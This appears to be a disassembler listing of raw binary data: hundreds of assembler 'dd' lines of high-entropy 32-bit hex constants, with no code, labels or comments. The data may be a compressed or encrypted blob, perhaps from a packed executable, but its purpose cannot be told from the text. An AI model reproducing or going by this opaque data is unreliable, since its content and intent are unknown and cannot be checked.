		dd 0E80B18B2h, 0FCA90C56h, 7E127C43h, 50D83F69h, 35932E1h
		dd 68511928h, 9BB64A02h, 0E3DC6010h, 0EB2780D7h, 9126047Ch
		dd 0C100C574h, 84EAE505h, 80B50034h, 0E137FDA4h, 30C455EDh
		dd 10CD2125h, 16E5B440h, 0DB80C515h, 0CBB480C7h, 0D14CC990h
		dd 0C4404A40h, 6DE71E27h, 2740EAFEh, 9C606FE1h,	0D0495A4Ah
		dd 169D10E0h, 7703FA02h, 0C47AD265h, 0C8907092h, 0DDE67109h
		dd 973C00B2h, 6588F6h, 78E321F5h, 75CCEE1Ch, 0DC503B60h
		dd 13F9442Ch, 40105C9Fh, 78DA2338h, 0B35CCDDDh,	9891C00Ch
		dd 1D46CC28h, 1D8DC13Bh, 0C201D6E6h, 0F471CE40h, 0D77DEF0Fh
		dd 0D5350420h, 0C01700DCh, 488DD004h, 0EE0CD813h, 70365A5Ch
		dd 308400DAh, 8DE114C9h, 22002BAEh, 788F82E4h, 68EA765h
		dd 475C7A1Dh, 40AC303Ah, 0A0D430C0h, 21244Fh, 929876E1h
		dd 0D9E0388Fh, 0DFAFE500h, 6A7A45AAh, 0A0C4A04Fh, 0FB65803Ah
		dd 9A290C90h, 0CF83A075h, 0D0FC5D21h, 55A1BE4h,	0A43E2EF0h
		dd 16B08B1Ch, 0E880DEE8h, 0A48E79h, 9C201AD8h, 0DD72EA59h
		dd 12AA7C2Fh, 5546660h,	6AE2D260h, 6ED0009Eh, 0FCDA71D9h
		dd 0CD001670h, 0EA225A48h, 0ED94C9h, 90DE529h, 21605C80h
		dd 0F0405882h, 61B86090h, 5FF6E2C5h, 64F9496h, 177116B3h
		dd 8D7C862Fh, 155C2060h, 3680F860h, 0C920D0E1h,	5CE67E58h
		dd 9EBDE0Bh, 536B8EFBh,	39BA6401h, 0D27029C7h, 4C4C7103h
		dd 0CC130D5Eh, 0CC78E159h, 8604F698h, 63E1C58Ch, 77340BBBh
		dd 5E89101h, 48108067h,	0E4E11510h, 2CDD81A3h, 0E67A041Ch
		dd 0A8D1434Fh, 3457E1h,	0C2120425h, 0F09DC984h,	0B89ED2C0h
		dd 0D9CC0A41h, 6C0C442Ch, 5DD8B779h, 420C525h, 20C42E7Ch
		dd 600B34C1h, 6039CCD8h, 5C6E4007h, 48B4D485h, 348D8792h
		dd 3D6E470h, 3FD06BB6h,	0A8277897h, 20A8AB79h, 0E93B4A9Ch
		dd 0DC9914h, 46B6D075h,	970006FEh, 1BD6480Dh, 0E688D929h
		dd 0B74B440h, 6CABFA30h, 58260865h, 1493C0ACh, 4C8DFB07h
		dd 0C28588Bh, 125E39CFh, 9F40C8C1h, 8AFA01EAh, 0A344DF52h
		dd 0A280700Dh, 0D3B2F400h, 0B1E86D25h, 2F08BA27h, 6C182984h
		dd 940A6E9Bh, 0A00FE67Ch, 5C351980h, 15B1E35Fh,	18C31650h
		dd 87B2CF3Ch, 4705D10h,	14954D20h, 0CCEABAE5h, 0D4DBC209h
		dd 0D1E200EBh, 0E415BC48h, 10707CE9h, 0E70F2C69h, 0F9097BE2h
		dd 600578A9h, 0FC88E085h, 0B08CF6C0h, 0C0A7F8E1h, 0E06FEB31h
		dd 87012BCAh, 0B50D8B53h, 0BC79BCC7h, 24408A96h, 930373DCh
		dd 90FA6880h, 0B72402B4h, 8790BCE8h, 0AED6B39h,	84D99BE6h
		dd 0A1F0A900h, 359C8FCh, 0E861294Eh, 300B1B8Eh,	0CCECA7h
		dd 5F07217Eh, 0EF2809B0h, 90877C66h, 7BE07FCFh,	5D10F393h
		dd 2781CA25h, 0A5DE8254h, 0A0A07368h, 280C905Bh, 208C5897h
		dd 7700D831h, 3069C0D6h, 386A35h, 6D1DEE24h, 925C2D08h
		dd 1409805Ah, 8B0882A4h, 88A8D175h, 0C61474D2h,	13CBB28Ch
		dd 681989A8h, 92EF260Ah, 0D401B5CFh, 7C495CC4h,	0A9D54080h
		dd 0E2E85E2Ch, 488889B7h, 48275014h, 4AC77CC4h,	0D8C4E926h
		dd 947E7100h, 0CCC42A23h, 0B8FB12E1h, 0E8AC2064h, 50CEA655h
		dd 93BE7D71h, 4806274Ah, 7619224Eh, 0C994B686h,	1F9E3840h
		dd 0CD8C0600h, 0E6745F45h, 3F0CBC1Dh, 84118981h, 934E985Ch
		dd 0A8A47BC0h, 0F865137Ch, 0D5EC8850h, 8724014Ch, 19807718h
		dd 1734B476h, 0CC0F70h,	0AEA6086h, 532E8B72h, 89150C01h
		dd 79973F84h, 60962E2Ch, 0C8A8DF1Ah, 0B4508530h, 36E56194h
		dd 805C78B1h, 0AF0272EDh, 0D9B80017h, 7E53BDCDh, 37767A56h
		dd 50E6FCFDh, 9A329C90h, 0C0DF39ADh, 12B164C4h,	0B2911FC9h
		dd 54CF0B60h, 0BC70606Dh, 0D38D0099h, 0FE1E07Bh, 0A71F0DB1h
		dd 48F0DCE5h, 21B8FD0h,	0CC34656Fh, 7600D1A3h, 926133DDh
		dd 405CB028h, 60A010E4h, 97416Ch, 6DF2E90Ch, 8F5D0983h
		dd 6783CCC3h, 6CD8AE8Ah, 0E114206Fh, 90DBA5h, 32FDC8E0h
		dd 0F8347445h, 184760DDh, 60E5CF78h, 5C3C2609h,	15876CDh
		dd 71ACC98Ch, 84B07813h, 5716C619h, 0B72001CCh,	81EC97C9h
		dd 0DC356618h, 93C4E2F4h, 0A6A49CA8h, 0BCA0A758h, 2F38E3A7h
		dd 38F3BE7Eh, 44C14AD3h, 9C525191h, 157C59B0h, 314ADCE5h
		dd 96816D14h, 9081EF60h, 1D00BF84h, 0E6107F06h,	0EC59E4A0h
		dd 0A0112218h, 18B9AD44h, 30D720BBh, 0D610A1Ah,	214BE1A1h
		dd 0A12FC00Eh, 25F27B01h, 511190h, 3ABF9C4Fh, 26357A7Dh
		dd 4094E5E1h, 9482B0D4h, 6DAC9900h, 29D769ABh, 70884AFFh
		dd 26386BE0h, 0D1E0E660h, 79FDF974h, 0C7BD1339h, 401077D4h
		dd 5E55037Ch, 7A040A00h, 0AA5D08F1h, 1738BAAFh,	0C0FCE2EDh
		dd 0C7E13ECCh, 0A7047C9Ch
		dd 0EB80191Ch, 48EF5C70h, 0DB01282Dh, 0B16085DEh, 0C5D87063h
		dd 0C8E3A831h, 8745239h, 3EB0C318h, 5F49AE6h, 68F230FCh
		dd 5C096E21h, 28EC2253h, 4AB0C0D2h, 88000B5h, 7656BEAAh
		dd 3B6224E8h, 40BB2659h, 0E8C36712h, 97A53C90h,	0CDCB2C0Fh
		dd 131B2480h, 0E2C456Ch, 112D20BFh, 0F0570280h,	0E828C960h
		dd 0D793000Ah, 0D5326BC3h, 1B04E5F4h, 5331E2C1h, 0D3EF4E1Dh
		dd 0C9540E92h, 0A0485277h, 65527888h, 0D8E730C4h, 4CFAFC7Ah
		dd 0CCD2C424h, 0BCB42580h, 10B02117h, 7D4604CEh, 0A06FC991h
		dd 470C25DCh, 0E8B058E8h, 0F01F0027h, 0A4697D67h, 8D39A1E6h
		dd 0F7528053h, 6FDBC1D2h, 2E3126FCh, 298E01BCh,	411FE4ECh
		dd 60CC2138h, 714D706Ch, 0A138206Ch, 16715C98h,	60C2B802h
		dd 2A0E6A40h, 44CC1076h, 0CBA8373h, 39257A20h, 814AFC78h
		dd 8337135Ch, 83C9BD40h, 7B2024E4h, 531B00D0h, 370391D7h
		dd 0F800FEFAh, 21B44622h, 0E6BA31Ch, 3DFC7E5Fh,	905C7C61h
		dd 1C232BDFh, 6BD7D1CDh, 0CC209425h, 3AC8A0C8h,	0E8DCA388h
		dd 18240Ah, 0CDC3BF22h,	0E42EB64h, 47016A7Bh, 7D41062Eh
		dd 0CC28967Ch, 2C78FA87h, 645FE5D0h, 66A93080h,	2F401C46h
		dd 183326EBh, 0D23F1817h, 0E70008ECh, 0E9E3273Ch, 7E335F54h
		dd 0E851C4DDh, 0D810B090h, 1094F348h, 2C020FF5h, 89E45CEDh
		dd 8AC2DCE8h, 7D106A78h, 360180FBh, 0E595DC15h,	0D04CFB63h
		dd 862D18A0h, 0F0FF8F50h, 74DF1D59h, 8803D3C3h,	94984D60h
		dd 0F720549Ah, 0FC255051h, 0EC8958B7h, 12490F10h, 0FC7584C6h
		dd 26D83880h, 0F43D4CF3h, 183E6105h, 7AD0C043h,	6319C9E0h
		dd 0B368539Bh, 0CC691C35h, 12F6AE84h, 0A3FE7C00h, 69CC6B9h
		dd 77D9895h, 10B856A5h,	0A827FCECh, 88254160h, 86AC053Ah
		dd 0C55CB35Ah, 28E1CAE8h, 30784438h, 72E02350h,	0C8305BB1h
		dd 0C720D878h, 0A0110007h, 6041987Ch, 0E42475E7h, 9068B0E1h
		dd 28D0A425h, 4778204h,	0E978E7h, 4FAF743Eh, 14E4209Bh
		dd 0C39082D0h, 22C8C0DBh, 0C0B1DF0Ch, 31DE7BAFh, 85952CE1h
		dd 5C81251Ch, 92E1DE8h,	0B85A7E8Ch, 40485D2Ch, 4E78903Dh
		dd 0D380FD32h, 0E58F28DCh, 683440E2h, 28F2A74Bh, 4C081AE4h
		dd 51278879h, 0E67A1C68h, 0A780B816h, 3490F413h, 958AC6C1h
		dd 29908C10h, 19E4EE14h, 7E748188h, 0C8FBD8ACh,	19DD227h
		dd 89984170h, 0E4D9CCC2h, 0C7CE1B6h, 435F8D00h,	2873B380h
		dd 0F0E22DF7h, 0AC322880h, 350F6AE7h, 0E0EC9861h, 0A4267194h
		dd 0CE210F8Ch, 0E8FC5E44h, 372905C4h, 0C0A750A5h, 9EBDF20h
		dd 99D85D1Ah, 97806190h, 0CF09C80Ch, 9DE3E2h, 8371AD84h
		dd 0EA782C8Ah, 0B20608FCh, 0B465A900h, 20E80C84h, 29710B21h
		dd 60241490h, 19001CE1h, 0A0D0CBDAh, 0B8390021h, 3643A91h
		dd 0A4B51CCh, 0CA8FBC20h, 0BDE00CBh, 0A7470D22h, 0E130C31Ah
		dd 0A84F497Ch, 454BA0Eh, 0E6744029h, 98A828h, 5550FA98h
		dd 0CD19C1h, 6D356B0Bh,	26EEE447h, 0E50B1398h, 0A2C31B8Ch
		dd 0A7AD5C48h, 0F37189E0h, 0EF490FDh, 480197CCh, 2847025Ch
		dd 0FFFC80F4h, 9416EE4Fh, 7D460B4h, 9F01415Dh, 917ADAACh
		dd 47221AFh, 29908175h,	0DBF12BCh, 3C5090CAh, 0EF980079h
		dd 0C118B76Ch, 9A35E2F3h, 6804204Bh, 4CB0AF7Fh,	3DAD027Dh
		dd 0C13C0B4Eh, 0F496E044h, 9050C625h, 9E0C0004h, 0DF9C33E2h
		dd 8C275CFDh, 58FC9207h, 0BE663010h, 0A55BB808h, 6F88F351h
		dd 0A2AB7044h, 5A005CB2h, 644F2F9Ah, 0E3512419h, 12743808h
		dd 1BE39E5h, 53E122ACh,	840474E0h, 0F34A94A0h, 828884BCh
		dd 1BE40BEEh, 61208418h, 0E1C999C2h, 716CE819h,	0D0A228E6h
		dd 60F32FF0h, 0A22724A5h, 0F25D0C7Ch, 85D867h, 7A561F21h
		dd 0EEA49DDAh, 5B8DAA00h, 71F45413h, 93FD26E8h,	0E4C980E4h
		dd 0FE6F39EDh, 70E04348h, 8C507E6Ah, 3209D004h,	0C61704A9h
		dd 905025ACh, 0ECE7CF2Ch, 0C8E03897h, 0BDE23FFEh, 93AD4861h
		dd 8641D2BFh, 0F7B5F0E4h, 5E5C8C4h, 409CDCCCh, 4600CDDEh
		dd 3F1C275Ch, 0A3E6065h, 1D48E134h, 2CDA1C84h, 1861392h
		dd 318019A8h, 30C6BB0Ch, 5B8C40F8h, 30E2E2DBh, 0AC80442Ah
		dd 36057888h, 4E6F7C16h, 0DE0004E3h, 0AF71298Fh, 8A34CDCAh
		dd 58B218A7h, 0C994CF82h, 876518D4h, 10D38A0h, 0CA2BB1B9h
		dd 40B4DA6Fh, 0E2508FDCh, 0C0901948h, 0D5CCA2Ah, 242C918Ah
		dd 478F012Ch, 8738E6h, 9E790A65h, 84B027D0h, 7F603EE8h
		dd 0CBE20EB8h, 21D0A839h, 0FA31F1EAh, 28AA4080h, 0D405649Dh
		dd 0BD5A5401h, 0F7EFCF5Eh, 0BAD18880h, 6B0A129Ch, 0CA24341Dh
		dd 6D910500h, 9555E15Ch, 80D8D0A9h, 52E5A30Ch, 1615886h
		dd 557827Ah, 7C9D3F7Bh,	4C0AC080h, 12747E35h, 129823D3h
		dd 7968015Fh, 3E65D4E6h, 940D0C00h, 1A7BB746h, 903458CCh
		dd 9320A8E6h, 1EB50067h, 92281A25h, 0E0484317h,	16D2007Bh
		dd 14538E49h, 0BE4A01CBh, 0D4E2D521h, 0ED2424BDh, 7D3C3839h
		dd 0B45D535Ah, 0A105EF07h, 26CA89F3h, 170D028h,	2F106BF6h
		dd 0D69C64C4h, 38D42153h, 10F932CFh, 808C51DCh,	230E4969h
		dd 8CB2ADCFh, 0C434854Dh, 0B8ECA48Dh, 302FD488h, 0C3F71A8h
		dd 0B601E672h, 4EF0DA90h, 0BE005F7Fh, 0DDC31C29h, 95942A3h
		dd 36F19183h, 58E2E402h, 0A4925EE0h, 8DA6ED01h,	0FC4A9DB0h
		dd 0FFFE0C20h, 5CEC8A00h, 0A45DFB28h, 0B1235EAh, 70A673D6h
		dd 122C345Ah, 0E450CCE0h, 829525B8h, 29697C0h, 10D8DF60h
		dd 0FE67D16h, 8B378042h, 30F8E6E7h, 0B751B258h,	0D65A0FC9h
		dd 0E0B860C3h, 1D1DA71h, 0AB7BE81Eh, 2BB1CF4Eh,	0AF25DC01h
		dd 1F2E3D7Ch, 96B0C24h,	697A2150h, 65D2E824h, 8BD48727h
		dd 1C24C4B9h, 0C47DEA65h, 0F2A7621Fh, 0E6F21A4h, 6B657C02h
		dd 82ACA86Dh, 44A32DE5h, 4FC91F04h, 0C1C1B588h,	52DFC2E8h
		dd 0CF100694h, 13A89450h, 0FD210166h, 0D0154B17h, 0B3ECBB8Dh
		dd 0E41DEE04h, 0F0EC89CCh, 1E988828h, 8C367971h, 0D1CAD275h
		dd 0DE45E07h, 51E07CB2h, 70E6E7h, 7A1EE19Ch, 0D53FE5E0h
		dd 0F0BB9B28h, 0F10B3372h, 71C9C86Ah, 1801608Ch, 2558EE72h
		dd 7FED0000h, 0F85C6973h, 0A7B8C0D5h, 0E5DDFC98h, 0E4C84C4Eh
		dd 0BF1F375Ch, 85AE6720h, 909C121Eh, 5E8B6C94h,	0E54254B6h
		dd 4485066h, 8ECCEC1Dh,	0BFCE8CFh, 71A8F9A4h, 4BE88990h
		dd 714A04C0h, 0C8203D5Ah, 0ECC7C19h, 26444B88h,	2F06CEE0h
		dd 0E850B0E1h, 2043A98h, 86F8578h, 25CF5098h, 9C64F242h
		dd 5B5C50A0h, 89D00460h, 17AFD1Ah, 0AF8E7902h, 0F46F9FC2h
		dd 76071E8h, 7D0B1A40h,	5496009Bh, 38DF110h, 0C9159C3Ch
		dd 4BE8D749h, 5CC8F4C4h, 640E5A01h, 0B06CF0F4h,	49FCFF4Dh
		dd 47821410h, 647503F4h, 0FE56CCFBh, 0A78D0120h, 299E8A94h
		dd 86FC419Ah, 3038CC76h, 0DDCDD904h, 9CE0D86Bh,	0FDA11FB4h
		dd 7EE60137h, 0D44F7CC6h, 5090C512h, 8B096024h,	7A8D7609h
		dd 0B71B3E84h, 0AECCE286h, 7A007093h, 0F7D6AAABh, 44EEE5h
		dd 28B1545Dh, 1884ACE6h, 207D9E07h, 0B0DDB2CCh,	8A2C4C80h
		dd 981FE5FBh, 7004835Ah, 8700C7FDh, 32C999A6h, 0A4437D5Fh
		dd 0C4AC7210h, 6BEF5080h, 8C483921h, 0E2241200h, 5AC496E1h
		dd 0ED15E403h, 8827AC4Eh, 1E490ECAh, 0C364E535h, 36977B80h
		dd 8FEBC094h, 16012403h, 46CE7109h, 35FDCF5Fh, 887B8093h
		dd 0FA162884h, 0F88334E2h
		dd 0F1CFE0F3h, 0D8C8CE5Bh, 7EB89A80h, 0E3021FE4h, 0A722C9F8h
		dd 715C61F5h, 84002462h, 264398DEh, 0AE0040D1h,	0A4C7376Eh
		dd 25C13E30h, 34478ACBh, 8C9BF284h, 40D6709Ch, 0FE09AFBDh
		dd 293E805Ch, 0CAF400ACh, 5A97Ch, 8E426D4Bh, 25D5ECBAh
		dd 0D9C1F401h, 620C5C74h, 0C9B23082h, 7CD43647h, 9DCF43h
		dd 0DE548AD9h, 0E1AC7520h, 3C802E4Ah, 0F0BC0E63h, 119C61AAh
		dd 0A42D47E6h, 40E9E898h, 0C177A334h, 5BE67428h, 0D2EC3D2Ch
		dd 8D1428CAh, 0DA127447h, 0A08894BCh, 9230CF2Ch, 8A21B0CAh
		dd 305E255Ah, 69C35883h, 87CDB83Dh, 0FD7B485Ch,	0A0FBD583h
		dd 7673450Bh, 0EAF05A5h, 80FA16B2h, 0FCC9BE00h,	0C9ECC648h
		dd 83E4E878h, 4C299511h, 0A55CF4C0h, 0BD989367h, 80C8C7C4h
		dd 69D098EFh, 0B0403087h, 0C109D1E0h, 71469D1Eh, 847CA4C4h
		dd 0B24480DDh, 60127860h, 0BD1E1F59h, 7A682125h, 19A05F97h
		dd 38035FF8h, 0DC49E5E0h, 48B23B54h, 835C0078h,	0A311C718h
		dd 174D789Ch, 0D4149733h, 13B4F884h, 4F34F85h, 0C91DBCD1h
		dd 0A8B86CC1h, 2CD44D0Ch, 0B0C625Bh, 6F817927h,	26A108Bh
		dd 0FE5C7158h, 651894D0h, 0A216778h, 0E4029FD0h, 0D0F620E4h
		dd 61C04883h, 0DB7AA13Fh, 138074C7h, 0F067F1EBh, 1E6F6648h
		dd 0E61F1109h, 0FC440028h, 0F3ECC34h, 494FC9C0h, 9729F441h
		dd 865D4C85h, 8B08851h,	820420h, 256557D2h, 93CD5C91h
		dd 2170049Eh, 0A0615CE6h, 32FBE182h, 41F110E8h,	6EA3890h
		dd 0A85F8E35h, 48840482h, 803B3D54h, 0DB00BA8Dh, 0D99717FBh
		dd 0E2B04E1h, 6D0D8E0Ch, 0B08036Ah, 8D94C25h, 0E4512942h
		dd 90FB5998h, 108844Fh,	0E550DBCCh, 801828EAh, 3B33D374h
		dd 5C7D0CB6h, 0C148929Ah, 802C9C48h, 0D694B30Eh, 89DB03DCh
		dd 2C5C0F11h, 1A4B8FCh,	66F8315Ah, 4079FB7Ch, 80C2BC13h
		dd 0F79569E4h, 0FDEBCF00h, 0C6E0431Ch, 0DC71F1h, 5E53CDB6h
		dd 1657C727h, 6414120Bh, 0C698A5EAh, 18E64052h,	0F2AA6513h
		dd 0B4C68494h, 7328498h, 0EA02848Ah, 0CEAF50F1h, 0D60C91A2h
		dd 408781E1h, 9C8C5978h, 0F37B4860h, 2900D36Eh,	0B9800A7Ah
		dd 16FCFF31h, 5014CC06h, 0F0954428h, 0E066C912h, 774FE88Ch
		dd 0D4D41493h, 2F404F12h, 68E13FC2h, 0F1480070h, 0C9F705F8h
		dd 5CA44EF9h, 9A110472h, 0C7FEEB36h, 85601FECh,	5D37E1F7h
		dd 25B858D7h, 2972B613h, 7743180h, 0D7CC474Ch, 0C910FCA4h
		dd 1654C356h, 18E2A663h, 8D8B6A82h, 71A0D4E0h, 53818509h
		dd 0DF446B01h, 5CDCC9F2h, 3D003C58h, 373E7A63h,	0E61275BEh
		dd 4C82F688h, 8A456C1h,	8B074A9Ah, 68D3D372h, 0CD5D9BAEh
		dd 0D428E8D0h, 61114A88h, 6E50FB0Ch, 5F5DAC21h,	69BC9040h
		dd 7E3A0003h, 1C9997ACh, 210081E0h, 863FDBCEh, 60715C43h
		dd 60AB584Fh, 0B8B0645Bh, 0D4C12826h, 4F125C87h, 0CC581B95h
		dd 1C903E8h, 5D907B72h,	6A67E85Ch, 0E3E7C000h, 0C2E07Ah
		dd 0D2FC61ECh, 84262E34h, 851A5C00h, 0B30830CBh, 4F11E35h
		dd 4F5087EAh, 0C74EC05Eh, 3400B69Bh, 0D7E193C1h, 9F85A9h
		dd 0B2B319DDh, 3FEE5C25h, 0FC2FD200h, 3E08AD04h, 8FB8079Eh
		dd 0C348D6D8h, 19E0821Bh, 0D3607C85h, 64B12238h, 147309Ch
		dd 4F83778h, 55AD50C1h,	6CFCD6C7h, 99C531DFh, 3146328h
		dd 1A18E11Ch, 3AB057DCh, 696FF478h, 0A15EDD07h,	87E93EDCh
		dd 118A0748h, 15C283h, 318D8710h, 0C7030A7Eh, 0E4BFFB03h
		dd 1112B9Fh, 14DF5479h,	80EF51DCh, 0DA16A210h, 60282FDDh
		dd 0C63AD8D5h, 0E0628D91h, 60A88F70h, 0DC9EBD20h, 0B1003E61h
		dd 71390EFCh, 10C3FF07h, 183E042Fh, 0F83D1940h,	0D70C3FE9h
		dd 18B67A87h, 0B8EB6EB3h, 478049B9h, 2FF2800Ch,	10C0FE73h
		dd 0DE91A63Ch, 661E0090h, 0F288347Fh, 0B500D868h, 0FE72B242h
		dd 0A24463h, 82C7C689h,	0C0CA34BCh, 1CDCFF26h, 871E7100h
		dd 0A0B4FE8Fh, 825924FCh, 0DC2F6340h, 0BC682960h, 114D8Dh
		dd 87C9896Fh, 0F60BD47Fh, 9C38000h, 0B8E24669h,	0FFE107EAh
		dd 0C06B0785h, 0AAFC4B1Fh, 0A04EDC18h, 489B6FC8h, 35383414h
		dd 85976A02h, 71037EB3h, 0DCE10CB1h, 0BB30145Eh, 9B5C8518h
		dd 14813D18h, 14763464h, 0B4180E74h, 0C080996Ah, 286CDC77h
		dd 0F88D38C0h, 0F8C432D6h, 0C9F30037h, 3FBBEDAh, 760F1A3Fh
		dd 38DD859Eh, 387348h, 34B8180Dh, 0EEFE55C3h, 9B646007h
		dd 506CD1DBh, 8A960111h, 3E8687CAh, 37F8F498h, 0E83EF275h
		dd 0CE2F899Bh, 777420D0h, 4B3B7B1h, 0EC04910Bh,	0AF6C9121h
		dd 387420A1h, 0F788F81Eh, 79879340h, 12A94629h,	50E037A4h
		dd 6100F8A0h, 0F7125DF4h, 42ED877h, 0B033E91Bh,	4B50003Fh
		dd 0C98C92EDh, 9E009C9Fh, 8D57B2B4h, 0EE43D6C0h, 931A1016h
		dd 7C3C006Fh, 0F7DCE2DFh, 0D660C0BFh, 0D87D1C11h, 0E4A09C0Dh
		dd 1FC840FAh, 938F2485h, 90E080C0h, 2F8452C7h, 0E02BFE30h
		dd 194994DCh, 10E44CB0h, 9942B19Ch, 61A003CDh, 0B1721884h
		dd 2F499081h, 41CA5130h, 5569DB9Ah, 0D442D489h,	39D48C34h
		dd 8E9F1BEAh, 67B0B809h, 560016D8h, 422375B7h, 4C7C52Dh
		dd 9D7DBFFAh, 34483B5h,	37DFC1F0h, 581DDA2Ch, 6B57E800h
		dd 0E2A0EDh, 7F46C54h, 0BC909F74h, 2F4FE8DFh, 0E72706C0h
		dd 0D348A010h, 0A3F11F08h, 86C814EFh, 643A127Ch, 1BD043DFh
		dd 0E80C76E8h, 0A07AB59Fh, 5CC65034h, 0F078643Eh, 965C44B0h
		dd 8BC570C0h, 0F616CA4Eh, 86A98898h, 6094741Ch,	42F00FABh
		dd 7DFC195h, 0DDDC1190h, 4C0E01F3h, 0EC853463h,	0A6DEE8ABh
		dd 0ED303D77h, 55E9407Ah, 4FCD396Dh, 8A26B9BAh,	99F8258h
		dd 608FB361h, 0B10F2A06h, 753DC543h, 8D75513h, 891D7CACh
		dd 2D9F1742h, 2C8CA59Ch, 0D63C1801h, 0E8418591h, 0D2868DB1h
		dd 200612DCh, 47EDEC07h, 0EED788ABh, 0DE15D080h, 0B72F1845h
		dd 0B94C40E1h, 0CDDA520Eh, 3E0143Fh, 9D2FB583h,	16200038h
		dd 0DF743AEFh, 26283CE8h, 4AF9A83Dh, 783A26B4h,	5585BC07h
		dd 0DA5425C9h, 6818148Dh, 3D3C329Ch, 2885BB28h,	4C1814B8h
		dd 9C121320h, 0C00CCE38h, 7BA77011h, 0B55E76FDh, 0B5EAED43h
		dd 0C80378C1h, 9C187F0Ah, 0B1506383h, 0F0600025h, 48B77073h
		dd 0B6027817h, 0D4C10A76h, 0C4A44042h, 93B80BFBh, 6C087007h
		dd 4A2F0608h, 81E180B5h, 0B2B18718h, 0C03E6FAAh, 0C7DF0C6Bh
		dd 0CE64B90Bh, 203416BEh, 0DF000840h, 9EB71BAEh, 984C64DDh
		dd 3ED740DCh, 25FA9898h, 0CDB970Ch, 50813056h, 7E6F9C67h
		dd 75902E3h, 0A6DCEE95h, 25B6E048h, 0E0449814h,	0A03480BCh
		dd 1461410Ch, 0D0C6B40Dh, 0DC110530h, 5C9AF5E2h, 0B41110A2h
		dd 0FA73D450h, 192469F6h, 9B01DE89h, 5824DCB9h,	18F3093h
		dd 3D213CD4h, 431C4179h, 153C40B0h, 1460779Fh, 85253B18h
		dd 288060A3h, 12B447EAh, 0E8F73729h, 0BB88843Fh, 7C815C3Ch
		dd 4A001CC1h, 3E40A62Fh, 2D761F49h, 0A8DA402Ah,	2E8B34BEh
		dd 9EC12F12h, 0DF12D807h, 0C4C88D12h, 55E20320h, 42601ECBh
		dd 64E33DBAh, 583CA924h, 6F0D1A16h, 0C04110B4h,	88E34E2h
		dd 0CBBC24CBh, 5C3B613Dh, 7C912D8h, 9451C12Eh, 968FA207h
		dd 6F454F57h, 0DC527494h, 6432E813h, 744488DAh,	7A180410h
		dd 0DDEA80F2h, 0BD81180Eh, 6BC62087h, 371E60h, 12BC89FAh
		dd 0DB3B2F5Fh, 9FEE84A0h, 38885133h, 22C87836h,	251AA8C3h
		dd 45B1753Dh, 50442804h
		dd 24B408DFh, 2E543A7Dh, 0AECE0214h, 0C4415791h, 0C43D0362h
		dd 58C6A0C1h, 0E8A19012h, 20101941h, 851EBD18h,	333EDE96h
		dd 9B1AF1EDh, 0AC27C578h, 836BB880h, 0B04F0BCFh, 809BD590h
		dd 0C3ED58C0h, 0E9859C09h, 14204E88h, 0F08F352Fh, 9391713h
		dd 688F26E8h, 480A4D86h, 10DEC431h, 4B00F5DCh, 0FA00769Fh
		dd 1E5CB1Dh, 1C0FDE3h, 5BD907D2h, 80059E2Fh, 7D1E4328h
		dd 3E468CD4h, 0EF0058BAh, 4BECC59Dh, 14662F7Bh,	84A82651h
		dd 3F9880DCh, 7D872ED4h, 3728CFF8h, 43037826h, 0CF19659Dh
		dd 563642C0h, 8D870046h, 0B0F1623Eh, 59542E9Fh,	0B9692890h
		dd 36743948h, 17EE1020h, 2C64674Ah, 2F05F4A0h, 89F79FB4h
		dd 0B4007894h, 3D223CECh, 3214A07Ch, 39C024C2h,	0A8171864h
		dd 0C082A3F2h, 6978588h, 3A9F1A91h, 981248FDh, 0AB00CEEAh
		dd 0CAAF5903h, 59C1A46h, 8D8850BFh, 67F30DF8h, 0F64C6110h
		dd 0AB0D4A1h, 0BDEC58ECh, 0BF000499h, 0B19C7C46h, 0B738C38Ah
		dd 0D1C42FD5h, 301AE4E0h, 0CFF7817Dh, 34E8C0E1h, 0A7017B5Ch
		dd 0B4A913BDh, 0F098112Ah, 9577053h, 437E4914h,	984693CCh
		dd 0FCC8B151h, 1304988Fh, 470D11DCh, 83BB8330h,	0B1112F95h
		dd 0B624E97Ch, 3D300820h, 4B843B01h, 0C186B4B0h, 0B877EE9Ch
		dd 8803F7F2h, 0E6DC5499h, 1920000Eh, 0A210AE0Bh, 8C501CECh
		dd 0DC182EDCh, 11209751h, 0D737006Ah, 9E78BE86h, 0B17C8287h
		dd 0B70BD971h, 83D08DA6h, 86C52FFCh, 0E0974D91h, 0B1DC9C82h
		dd 0CA3B8C45h, 659C5442h, 2868C829h, 13BF1264h,	0DC204E3Eh
		dd 0BA68C1D2h, 20233Dh,	0E7EFDB48h, 1D74797Dh, 6E87B683h
		dd 0F3A607ADh, 32D40037h, 0B5028F80h, 789AA777h, 0B26461F5h
		dd 5F88EC4h, 96A09857h,	458D25Fh, 75F02464h, 0EEB54400h
		dd 6B902648h, 0F1BFAF0h, 12F83217h, 74E2E580h, 90E89D33h
		dd 0F83E962Ch, 0F8C9D49Bh, 112CDE5h, 7D5770BDh,	409AB49Fh
		dd 76F4BC8h, 0C84A64BAh, 60264062h, 808570h, 4CB848B6h
		dd 59522EEh, 0C8F83F26h, 9A8F4782h, 983CC638h, 2C0A474h
		dd 85B9AFB7h, 78493314h, 0F49421DBh, 0C33FDA41h, 1290A09Fh
		dd 1227333Ch, 0D7F08C74h, 0B0BBDC30h, 548DB0BAh, 0ECEE8E3h
		dd 0A0938F91h, 4E40ACACh, 78AF552Eh, 81267410h,	8BA2406Ch
		dd 0B01756A0h, 181DD555h, 0B816747Eh, 63189F58h, 707B7B8h
		dd 0BE8B7BA9h, 0B0CDC485h, 0A4A06840h, 1C814539h, 0D906F032h
		dd 88DE3C04h, 24389924h, 2D72406Eh, 28BA5B5Dh, 0C193DCE8h
		dd 3EB56F18h, 2B508869h, 0A249024Eh, 58486388h,	8090931Eh
		dd 0D937160Ch, 58A25106h, 0D1002425h, 2F51DEE6h, 0E892A819h
		dd 4DFA7500h, 359CB7DBh, 0F99D303Dh, 23C7DC11h,	5C3F40DDh
		dd 0B1D11034h, 0B0084C51h, 0C057719Fh, 6F124B68h, 8329DCE7h
		dd 0B060E422h, 0C915662Fh, 37007810h, 0F0EBD206h, 0FFEE5603h
		dd 96BF2F6Ah, 6C8A1220h, 79740180h, 14AC6Eh, 0FF3F630Bh
		dd 80CF8080h, 0D0B70629h, 84E781F0h, 67DCED11h,	71B3B090h
		dd 564500F6h, 7EEBE80Ch, 11F462D7h, 0C2896E02h,	0A01C502Fh
		dd 0BFB9984h, 29D8F1CEh, 82B203B8h, 4DB3B402h, 0E8685B8h
		dd 0DF00F892h, 0C0ADA2EBh, 1F898A87h, 3020580h,	0D43550DEh
